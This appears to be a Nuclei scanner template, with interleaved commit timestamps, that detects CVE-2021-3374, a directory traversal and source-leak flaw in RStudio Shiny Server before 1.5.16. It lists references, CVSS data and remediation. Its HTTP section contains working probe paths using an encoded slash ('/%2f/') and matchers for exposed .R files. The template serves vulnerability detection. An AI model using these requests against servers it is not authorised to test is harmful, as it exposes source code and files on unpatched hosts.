2021-04-14 20:56:03 +00:00
id : CVE-2021-3374
info :
2022-07-26 13:45:11 +00:00
name : Rstudio Shiny Server <1.5.16 - Local File Inclusion
2021-04-14 20:56:03 +00:00
author : geeknik
severity : medium
2022-07-26 13:45:11 +00:00
description : Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3374
cwe-id : CWE-22
2023-11-23 06:31:41 +00:00
epss-score : 0.00206
2023-12-12 11:07:52 +00:00
epss-percentile : 0.58346
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : rstudio
product : shiny_server
tags : cve,cve2021,rstudio,traversal
2021-04-14 20:56:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-14 20:56:03 +00:00
- method : GET
path :
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition : and
matchers :
- type : word
words :
- "Index of /"
2023-07-11 19:49:27 +00:00
2021-04-14 20:56:03 +00:00
- type : regex
part : body
regex :
- "[A-Za-z].*\\.R"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-12-29 09:30:44 +00:00
# digest: 4a0a00473045022100fa8fd19136cd69450e2c5bf83de4bdde86af424c4f9420522a348d737d1df1b202207e7ab9df603a2235b81bac5551196fec4a6d389d02d486530550b581c227f36f:922c64590222798bb761d5b6d8e72950